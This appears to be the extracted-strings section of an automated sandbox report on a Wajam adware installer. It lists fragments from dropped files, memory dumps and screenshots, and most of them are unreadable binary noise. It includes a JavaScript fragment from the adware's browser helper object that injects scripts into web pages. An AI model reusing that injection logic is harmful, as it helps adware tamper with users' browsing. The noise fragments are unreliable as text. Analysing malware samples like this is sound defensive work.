[f @@f@rH+j(PVHP$4|1Ai(8;a+4;EGK4,9Mu,@+4jH^;Ms;,,

Ansi based on Dropped File (nsqE177.tmp)

[f@@f@r3VVhU

Ansi based on Dropped File (nsqE177.tmp)

[m9wgb;QSb>:9J2lD?,zbfw

Ansi based on Dropped File (nsqE177.tmp)

[pr%#=1X.W]z=lC~BCsW- C(P3H

Ansi based on Dropped File (nsqE177.tmp)

[YZ:D$,@tPQX@RSR[PRRZX=@vjjjh@=@tPPRTjjh@X@Tjjh@X@=@vPS@tA9t9uAA=@vPRQQTjjh@YYZX=@vRTjjh@ZPR=@vTjjh@ZXD$@8PHtn@T$L$9t7=@v)=@w L$PQXD$H0D$H=@v=@wPD$RQPYZXtpHS1VWUdSPRQT$(jPh/@R@|$(Co_G0@f#ALD$T$@tJBl0@SVWUjF]_^[u

Ansi based on Dropped File (nsqE177.tmp)

\#?!Igr!G,R^8F["5+%P+W~6jR"|&!?F'y5ZDOz@Yz_)GXCCu!hQN*qia"?6H/h^x6|dY3TSRhb=kHAbv];*ox$Ww\F\DC1Ua|e/Ss,61rqW`?BbznC(jltZ\XfhhE

Ansi based on Dropped File (nsqE177.tmp)

\.+m}%a]x

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

\.L.bO]AU\.O]+HO?O_^[XW_^[XSVWU1A|

Ansi based on Dropped File (nsqE177.tmp)

\7`_qre%[tIZOIGEPl3|-s15cS z]k32b{QHSr

Ansi based on Dropped File (nsqE177.tmp)

\@Azm}s7:{^>!BAio@B'r

Ansi based on Dropped File (nsqE177.tmp)

\@V0_^3^=\@t9X@VPj@05X@t$FP0\@\@0^D$D$|}

Ansi based on Dropped File (nsqE177.tmp)

\@V|CV.V)PhC.SW@;B#BC%~;|WS"=CuzjESP*Eur}ui}Instu`}softuW}NulluNEE

Ansi based on Dropped File (nsqE177.tmp)

\\.\root\default

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

\`k/ }K?J4U-ABY$:z&?ohOR=;X4Cz-Dk@:

Ansi based on Dropped File (nsqE177.tmp)

\aCRH|>j^^jSnzCVL3QB8RJh+u19]-?h%J/@-rDg<vZ@MtyzToTF%lg_}[B V-Bg/S6)=>M}a`Wr^"]!*5z&O

Ansi based on Dropped File (nsqE177.tmp)

\AppData\Local\Temp\nsfE187.tmp\inetc.dll

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

\Implemented Categories

Unicode based on Dropped File (priam_bho.dll.1505483275)

\Microsoft\Internet Explorer\Quick Launch

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

\Program Files\Internet Explorer\iexplore.exe

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

\Programs\Wajam\uninstall.lnk

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

\Required Categories

Unicode based on Dropped File (priam_bho.dll.1505483275)

\RPC Control\ConsoleLPC-0x00000810--1502101887-14047480301369273867708172640-2001519384-4003180831494687548-1077015299

Unicode based on Runtime Data (IE_approveExt.exe )

\Sessions\1\Windows\ApiPort

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

\StringFileInfo\%04X%04X\%s

Ansi based on Dropped File (MoreInfo.dll.4230172058)

\ThemeApiPort

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

\uffff]/g,gap,indent,meta={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},rep;if(typeof JSON.stringify!=="function"){JSON.stringify=function(a,b,c){var d;gap="";indent="";if(typeof c==="number"){for(d=0;d<c;d+=1){indent+=" ";}}else if(typeof c==="string"){indent=c;}rep=b;if(b&&typeof b!=="function"&&(typeof b!=="object"||typeof b.length!=="number")){throw new Error("JSON.stringify");}return str("",{"":a});};}if(typeof JSON.parse!=="function"){JSON.parse=function(text,reviver){function walk(a,b){var c,d,e=a[b];if(e&&typeof e==="object"){for(c in e){if(Object.prototype.hasOwnProperty.call(e,c)){d=walk(e,c);if(d!==undefined){e[c]=d;}else{delete e[c];}}}}return reviver.call(a,b,e);}var j;text=String(text);cx.lastIndex=0;if(cx.test(text)){text=text.replace(cx,function(a){return"\\u"+("0000"+a.charCodeAt(0).toString(16)).slice(-4);});}if(/^[\],:{}\s]*$/.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)

Ansi based on Dropped File (priam_bho.dll.1505483275)

\VarFileInfo\Translation

Ansi based on Dropped File (MoreInfo.dll.4230172058)

\xWY]j#3U@RPPPuQuXA=^t'h^hWP AWjPS=\tWjhHWS=\tWjh\S[tWjPS=H^t'hH^hWP AWjPS=^t(5]hWP AWjPSj_9}u3S]Yu3E}PEPjSLAfMEWPjSHAS*YtX=^Sl=YYueYtuV3Vjh.S5YTA=/Eu)=YbS!YYY39=Yup];uAEVPPjSE4AtVVP]/

Ansi based on Dropped File (nsqE177.tmp)

\{&b>b?gRP(Jer/Y,\

Ansi based on Dropped File (nsqE177.tmp)

\|s;[iYVA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

] ExIH8vjb+ll_:NGGcc4LZi'I8E_9r"JFy|,?%,*%u$aw*\K\\5KU:_R]PjuV]=zjgV0`V3kNfkas<v"?Y%]?>kuq#CRa.fnm5~g;>g@?cs:}Svis\\m^|S!Py<J.Mf].C]{\NQ(q<B<qHW<legc[G&b:q17skw8_

Ansi based on Dropped File (nsqE177.tmp)

]&e\~XQ}izg~T}RvJEsxi6S]Ivk9\kpAg](X\c0|QyL|y{PpBdn^(zMTT~h]Iw

Ansi based on Dropped File (nsqE177.tmp)

]&VVVPSDAuY

Ansi based on Dropped File (nsqE177.tmp)

])EuP=YHEPVPupAt\9]tEESPuPu@@tKE;EuC]=Y@8Y

Ansi based on Dropped File (nsqE177.tmp)

]3=]v tQWS@

Ansi based on Dropped File (nsqE177.tmp)

];}|;r3pPWVpP50uu_^[UEVu

Ansi based on Dropped File (nsqE177.tmp)

]=]+3D$pU}3j<[;|"D$U;|

Ansi based on Dropped File (nsqE177.tmp)

]_^[SVWUl$

Ansi based on Dropped File (nsqE177.tmp)

]iagX!gSTQ;

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

]k/\@34>rbFj#D

Ansi based on Dropped File (nsqE177.tmp)

]PhWP AZ;fMQVQjVuJSVP#1E]PPEPhVP#YYuhVP}#YY^Mjq%huPVu<AET@EEP]PEP=^hVP"YY>/uFj/V"YYtPj/V"Y Yuu8AE]PPEPV<@j/V0/"@j/V"=Yjhh@uu<AEEYPPEP]j hV.}.uTVVP"YYtj YVP!YYj PYPPL@9}.u0=YuZYE]PPEPEY3_^[UH_SVWj?Y3=^5\Af

Ansi based on Dropped File (nsqE177.tmp)

]Pt$+Qj<3^R33R3PD$$SPd$D$PhU@P@_^][U4u@=Y=YSV5@MWQPt@EPuuE+u}+}+E+EE+E+=Yt=EjPjj0@E+9E~EE9E}EE+;~;]}]3jPPSuPu@_^[QQSUVt$W=@jV-@39YD$hVhD$5YV;tjQ$A

Ansi based on Dropped File (nsqE177.tmp)

]UQQSV3W=Au;te1AVVVVjPVVE;tTjPDYYE;tCVVuPj7VVt6EVPFYYy9utu^Yu;u3_^[u^YjYU39EvMf9t@;Er]U}SVWuMS]u'p-p}tE`put9}v!Rpo}tE`p]ExuuVS}tAMap8+3MQPsMQPdFMtt;t+3_^[USuMR]C=wEXu]}EPE%PYYtEjE]EY

Ansi based on Dropped File (nsqE177.tmp)

]Y _8^tcESPVPuuD@9]vEPuPutAtE;t

Ansi based on Dropped File (nsqE177.tmp)

^,L>d}e){

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

^6;&YUFj@P61u3BFj@Pv1tNFtUFtMF3@]j !AX39}9}u}0AD3jZE}}Q1YE4@3j^uuEE0AD3E}EQE1YEuE4@3Euu9}tG;tCuuuub.PuuuVM.Psu(EPEPuE}}39}EuMuYY3j("A}tE}t?u~W0AeueuVW0AWh0+YH9tUu/Yu

Ansi based on Dropped File (nsqE177.tmp)

^K*>qdIENDB`PK}lplugins/PriamNPAPI.dll|T0~WrvJP`B%DH HHZmOjiiE_a1m@D6j7 19sn6my3g9s3:ada3,_7fkc=~f{/TZj|JZ[WY/uuKe%&&m$}qw8>Nh^hRgr!vY10q%NF{hMlHvn;iX0FC">cPyNYZTQ|80;:0e*Jjq8XzIY}+efc;YM)lna";t|UPc1;#+z6d8BA$QHBF1GBo?R[xoi~BsHw,biX1PDZ)lBJ6'm AIk7WF?O;'G>hQ`'^o,Rf<C8dF8^Ke{=JG,;e`OLJC0'(kVubM

Ansi based on Dropped File (nsqE177.tmp)

^R5-nZcZ,uD||x~Mg%Y[=b;^`b3P%MTbAAEEnH

Ansi based on Dropped File (nsqE177.tmp)

^Zc5T+ur967LNJL<\` qq/\6,m%dQ*&31)q^h9%>@:n4]Xaz7~(uf,=!M25GmFP J1;>Ka8Vzy{n\V><HkU[,Qdq(g)B-!%.a/>aUX&$ae;\gQr"ADl~DZka

Ansi based on Dropped File (nsqE177.tmp)

^Zn<ieGN''/Xsepiz 5,\Q$g~<6~Agq@'qAXT>M[Gq>mJm~fZ&`E-yaQ6Y2qP8fs&qkb/]7~E+s"EXz#_&^s"kL$Y~!j\eB,8,)I&1T63=ZZVcoZO/nwR>m\+8kF.Es;RM~9b

Ansi based on Dropped File (nsqE177.tmp)

_)@?LiO?V

Ansi based on Dropped File (nsqE177.tmp)

_,-_,,-_,

Ansi based on Image Processing (screen_5.png)

_.u"sjObVx#

Ansi based on Dropped File (nsqE177.tmp)

_4W*{gJJ|*chgJ*f>gJV*?*LLl%iy2*[*pyy*R

Ansi based on Dropped File (nsqE177.tmp)

_5!JJV??!?Y%

Ansi based on Dropped File (nsqE177.tmp)

_74ojnf5g7

Ansi based on Dropped File (nsqE177.tmp)

_;K88I"I;HkmTkz/Nog;5c3D}P:PeoNoC(G<Q7kKx=i??^g2Ak]sG,8q}l1rXC!$v?PJeUoIPKOhtml/background.htmlQ1n0] 4j}@l] %&cK6kInDw<NjL{|hHhrnINu* S>0.N

Ansi based on Dropped File (nsqE177.tmp)

_=NNNN~i?<;?#@iDUDhlwGjGvnz33

Ansi based on Dropped File (nsqE177.tmp)

_??5L?R4mJLi?iGjG3m??HL{i{?~L?

Ansi based on Dropped File (nsqE177.tmp)

_?__?_?v?___

Ansi based on Image Processing (screen_0.png)

_@@[kernel32.dllGetDiskFreeSpaceExA3@@@@@@@@@@@D@@x@@@|@@t@@l@`@d@d@\@@T@@L@0@D@@<@@4@4@,@$@$@p@@@@@@,@@@@@@@@@@@@l@(@@@@@@@@@@@@@@@h@@@@@@@@@@@@@@\@@@@@@@@@@@8@@@@@|@@x@L@t@@p@|@l@ @h@@d@@`@(@\@@X@@T@<@P@@L@@H@@D@@@@(@,@t@(@0@U3Uh@d0d P@J\@xW@w@&@$w@ @@@L@,\@H@\@@@@@@@@@~h@@id@K`@A\@7X@-P@#L@@@@@@3ZYYdh@~]U3Uh,@d0d -P@s@t@``@~=@t@@@9$J3ZYYdh3@]0x%@%@%@%@%@%@%@%|@%x@%t@%p@%l@%h@%d@%`@U3Uh@d0d `@3ZYYdh@V]-`@U3Uh@d0d d@3ZYYdh @]-d@U3UhQ@d0d h@3ZYYdhX@]-h@UE

Ansi based on Dropped File (nsqE177.tmp)

_]Suuu5B@^[]U0CS3V;WECBEuuVV9]EtuE=ssuVEu

Ansi based on Dropped File (nsqE177.tmp)

_^[]U]JU2tPS4YuL1AjhbA2epXPTPEMPQ7JYYeuEUV00P0u*uV0P1u

Ansi based on Dropped File (nsqE177.tmp)

______waJamcom!nc!_php__r!__t_un=1_un!c_!

Ansi based on Image Processing (screen_9.png)

___m_______g0_0t_ou__o__

Ansi based on Image Processing (screen_9.png)

__clrcall

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

__fastcall

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

__restrict

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

__stdcall

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

__thiscall

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

__unaligned

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

__Z|V||Ja

Ansi based on Dropped File (nsqE177.tmp)

_a_.RVa/RVai1FB:JV::V_ >uN>

Ansi based on Dropped File (nsqE177.tmp)

_adjust_fdiv

Ansi based on Dropped File (inetc.dll.1181384010)

_aRVRV@@RV}J_aJHauJ

Ansi based on Dropped File (nsqE177.tmp)

_CLASSES_ROOT

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

_d#-0~Yki4mSPYf(UsRU U?5$tE(GxJ0krvsb},+<]/]q!ut vET;i^[~)

Ansi based on Dropped File (nsqE177.tmp)

_id);if (destination_iframe.contentWindow) {destination_htmlDocument = destination_iframe.contentWindow;}else if (destination_iframe.contentDocument) {destination_htmlDocument = destination_iframe.contentDocument;}else {destination_htmlDocument = destination_iframe.document;}}// Create the script to be insertedvar new_script = destination_htmlDocument.createElement('script');new_script.type = 'text/javascript';new_script.textContent = destination_method;new_script.id = 'priam_temporary_script';// Append the script to the destination bodydestination_htmlDocument.body.appendChild(new_script);}catch(e) {priam.Trace.add(method_name,'Error Message: '+e.message);}},onEventLoad: function(event) {return priam.Browser.Events.onEventLoad(event);},onEventJustLoggedIn: function() {var method_name = 'onEventJustLoggedIn';var str = '';try {

Ansi based on Dropped File (priam_bho.dll.1505483275)

_initterm

Ansi based on Dropped File (inetc.dll.1181384010)

_j[sj3[33s3@jYEjPPESPP%j

Ansi based on Dropped File (nsqE177.tmp)

_LOCAL_MACHINE

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

_mDj]*3[AP0oz{@176\I[9C^L.ey)7kbvA}}/2bHC254~f42az]mm+[+5t{Qm=n%#$Q[? $B;DopulAHC<IG^YgJ"0%eXi+/^=SNtYd<n~914$Vy1 vtT5Ud|(2*iIJRYv"']|L+zeqB+#XCjY\s+m

Ansi based on Dropped File (nsqE177.tmp)

_NVNVR@@RBRfRPRDRFNV}iFiHiJN}LFSVN_N_a___JVaY_u|_uJJHRFeJHRFeiV`gRPeaueNuiRfBiNNVN_RDiRFieaeJaHaloaruaexa{ae~aaViVaJe_eaezV@

Ansi based on Dropped File (nsqE177.tmp)

_OW!1x?FT4NT`2dO

Ansi based on Dropped File (nsqE177.tmp)

_PERFORMANCE_DATA

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

_veVeNVe{__~iViRJVi}}i

Ansi based on Dropped File (nsqE177.tmp)

_wal1560958553wajam.com/102464805747230819718368513106830746292*

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

_wal1560958555wajam.com/102466805747230819718370747481830746292*

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

_wal1560958585wajam.com/102496805747230819718290004752230746293*

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

_wal1560958593wajam.com/1024104805747230819718320492397630746294*

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

_wau15609585538671540wajam.com/102464805747230819718368497481830746292*

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

_{xUdc|"d+v#HgS.#g@<m>o7K[$6w@]SIL+@Ev3Qlo>%^Y~[sBML>axkU#&qS$?v)?y0F<Jv&3~@R gv#L@NGjs1*.8dJ[m?ojCH,$|4X-t(FaFhH+JJ>'T

Ansi based on Dropped File (nsqE177.tmp)

_}CUV^?6m4O&Qd|QWZzrjK8b+9o~9e,:GtSb[F$2.1/>lGDr-/-+9E1.`U_PKGBIh^XJcontent/priam_firefox.js<ksHU#Q>f%6`T&Es-&wR.}}Nw#gy~}N`x&7MIH|=vEs"|$)7iL&4

Ansi based on Dropped File (nsqE177.tmp)

`.rdata, @@.data0@.reloc@@BD$j4D$4D$4D$4YD$j4D$4D$4D$4{YD$j4D$4D$4D$4NYD$|43@UQVh0h0L P tEP PtE3^Ux4SVWjY3f;8hP5|4 4GGD8Pj@ =6uF"E?\t8WP 8;w8;uhl0V| u38Shh0Px S8u\Pt tjSSjSShup SSSjSPEl SSSjWh ;t&H<PfAfA\+|4Q(d W=` uhd0V\ VX G43@]Pj@ }4};]]4t5 ShT0SShL0SPP43FW(h@0WTY;YuGPYEh80WT uu8u#hl0#9]_tuP uj3YTPDE}]3}f3}]j$Y39]@<]]]]u]E]]t.E4uPjB ;EP E<PH Lu EVP SSEVP EE]E=D SPEuPEPESPEPEPPP@ E|EEEEEf]PPPSSjVSSuS< =8 E9]x0u9]3ESPSSSu4 9]8 EESPhVu0 E9]x0uX VX u, ;s>;=4rEu0u( jBPu$ ;EP E;=4r,Et&u=X

Ansi based on Dropped File (nsqE177.tmp)

`2>2>(2>@2>P2>`2>p2>2>2>2>!@("##X,'x*4.D.DVCLALPACKAGEINFOFreitagSamstagSeptemberOktoberNovemberDezemberSoMoDiMiDoFrSaSonntagMontagDienstagMittwoch

Ansi based on Dropped File (nsqE177.tmp)

`7H'*'.`T_N=jU/Pce#}&`K93

Ansi based on Dropped File (nsqE177.tmp)

`;l6X'C{*$u9^| CPi~8K+?dCV<OH

Ansi based on Dropped File (nsqE177.tmp)

`@E}ADWYuMEEjYjheA]uqx;ArR<ADtS6YeDt1SYP0Au0AEe}tMMEE>]SiYWtefofoNfoV fo^0ffOfW f_0fof@fonPfov`fo~pfg@foPfw`fpJutItfofvJut$t

Ansi based on Dropped File (nsqE177.tmp)

`@QIY3U}t%}|}}X@uE`@P0E]SUVt$33;u33W0FxtXuSF>0|

Ansi based on Dropped File (nsqE177.tmp)

`\??\Volume{dcbfaac3-d863-11e7-b9ff-806e6f6e6963}

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

`\??\Volume{dcbfaac4-d863-11e7-b9ff-806e6f6e6963}

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

`\??\Volume{dcbfaac7-d863-11e7-b9ff-806e6f6e6963}

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

```}}}]]](((nnnQQQjjjfffWWWDDD888AAAjjjAAA:::222qqq^^^YYY???ZZZnnnXXXSSSlllMMMKKKkkk

Ansi based on Dropped File (nsqE177.tmp)

`A2"Z-.yN3S?

Ansi based on Dropped File (nsqE177.tmp)

`copy constructor closure'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`cT%u)8e>5Ad 2F('&nK qSXW+4-a!KWYeC{q:KK+24

Ansi based on Dropped File (nsqE177.tmp)

`default constructor closure'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`dynamic atexit destructor for '

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`dynamic initializer for '

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`eh vector constructor iterator'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`eh vector copy constructor iterator'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`eh vector destructor iterator'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`eh vector vbase constructor iterator'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`eh vector vbase copy constructor iterator'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`local static guard'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`local static thread guard'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`local vftable constructor closure'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`local vftable'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`managed vector constructor iterator'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`managed vector copy constructor iterator'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`managed vector destructor iterator'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`omni callsig'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`placement delete closure'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`placement delete[] closure'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`pM_^3[@@@3@@@@@UVuVPYYt|H ;u38@;u`3@AFuNSW<A?u SYuFjFXFF

Ansi based on Dropped File (nsqE177.tmp)

`s:KekGAJ4no~$3T|!<Jpn%K]TUVl?6713&MV:6Tt;Pc8O'2^&kn:.MmeZ;h<.p6K)&5^!VZK.e[-%^w8l;Gp/T5t=AE0C"q#{E0;^JFD>4]92@Hb"GdN+--,ig.n]]nBI5XEAGuk}"F\0XWk{!E)ARotug>(S#jJD?D%XXV/iN}!Rv"Q`j4Zd[;h37\&ph]%!:rf!+f >wao_sC

Ansi based on Dropped File (nsqE177.tmp)

`scalar deleting destructor'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`udt returning'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`vbase destructor'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`vbtable'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`vector constructor iterator'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`vector copy constructor iterator'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`vector deleting destructor'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`vector destructor iterator'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`vector vbase constructor iterator'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`vector vbase copy constructor iterator'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`vftable'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

`virtual displacement map'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

A#MxE@tMMMt} tMtMU;u!} `U`E=0AjuuEPuuuE;upM#;u+Et%ejuEuPuuuE;u76AD0 0APYEfu1AuD6AD0 0AVYu0Auh

Ansi based on Dropped File (nsqE177.tmp)

A$Wy@tPtBt&tu=I

Ansi based on Dropped File (nsqE177.tmp)

A$x[ApAhh,Ajd5$A3F5LA1A_54A58A^,A<A@ADAHA0AA[Uu

Ansi based on Dropped File (nsqE177.tmp)

a'RVHa'uJ

Ansi based on Dropped File (nsqE177.tmp)

a(qt2F(a>!U."JeQ1#uoBj0H~n-iG%ybm6>Sz34zy>78@SU^\,Q hI

Ansi based on Dropped File (nsqE177.tmp)

A)xw>O]4]~\Py|;uoQ:

Ansi based on Dropped File (nsqE177.tmp)

a*X:7ygro?Z+=vpFosR7ukZSH@q%|],u6_%ed98JpP^ (c&' `N,h8wQD

Ansi based on Dropped File (nsqE177.tmp)

a,a''R_NaJ''RNJa

Ansi based on Dropped File (nsqE177.tmp)

A3]3PPjPjh@htSA0A0A0AttP0AUQf9Eu3f9EsE

Ansi based on Dropped File (nsqE177.tmp)

A9|QIN+jFESp0"jY3ShuWV"jFhRPu"SUj<uW"Fk<+>_^ 3[^UV/#tuVYY#^]UQQEP@1AEMj*h!NbQP)#|=o@vMtQUEffufM;tf9uf9t3]UEffu+EH]UUE+ffuE]jhaAR3}3];;u 3{3u;;t3f9>;t"'E;u

Ansi based on Dropped File (nsqE177.tmp)

A;tNhA P0AAu4YA P0AA<}_;tg___OE}jvNYSVWT$D$L$URPQQh{@d5DA3D$d%D$0XL$,3pt;T$4t;v.4v\H{uhC[C[d_^[L$At3D$H3Uhppp>]D$T$UL$)qqq(]UVWS33333[_^]jZ33333USVWjRhv|@Q_^[]Ul$RQt$]UQVuV%EFYuN /@t

Ansi based on Dropped File (nsqE177.tmp)

a?P_tvf(38;D73"+gO@^uml']]n:`uK0dmbg|;5.~B%ZZU!A|8irvuv]wv'7sv_wjAq~gX8y0A,N!>~l<FVgo6{wd4Vz@I?8CH%@/m-d4_2P|

Ansi based on Dropped File (nsqE177.tmp)

A@twv9{3G|vU

Ansi based on Dropped File (nsqE177.tmp)

a_cea`deeea_cb^]]]]]``_deeeda_ec_beeeeeeb`bd`_cc_be`adc^ceeeb^bd]]]]^`deed`coj`beeeeec_foiabda^]]]]]b_adeeed_`b^eeedc_bec`fog^cec`beeec_beed^bdeeee^ba]]]]^cb_ec_beedb_ba]]]]]]beeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee]_R^e^Jl

Ansi based on Dropped File (nsqE177.tmp)

Ansi based on Dropped File (nsqE177.tmp)

A`b( gT|1k-!4ZnM~e|H(

Ansi based on Dropped File (nsqE177.tmp)

AA abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZA`y!@~ @ A[@~QQ^ _j21~C6A6A6A6A6A6A6A6A6A6A6Ax6Ap6Ad6A`6A\6AX6AT6AP6AL6AH6AD6A@6A<6A86A46A,6A 6A6A6AP6A6A6A5A5A5A5A5A5A5A5A5A5A5A5A5Ax5Ap5Ah5A`5AP5A@5A05A5A5A4A4A4A4A4A4A4A4A4A4A4A4A4A4At4A`4AT4AH4A4A<4A04A 4A4A3A3A3A3A3A3A3At3AAAAAAAXJANA`PAA@A@AApPSTPDT@AA3A.?AVbad_alloc@std@@3A.?AVexception@std@@

Ansi based on Dropped File (nsqE177.tmp)

AAEPjEPj0Au!EEM#UE~PuYYuuPuuu0A]UV3PPPPPPPPUI

Ansi based on Dropped File (nsqE177.tmp)

AAEPX1AE3}9Euj9EtPY3Et

Ansi based on Dropped File (nsqE177.tmp)

AAk<Ef9At,Ak<Ef9rAtA;tM+,Ak<E]]EPSj?E0WhASu=1At9]u

Ansi based on Dropped File (nsqE177.tmp)

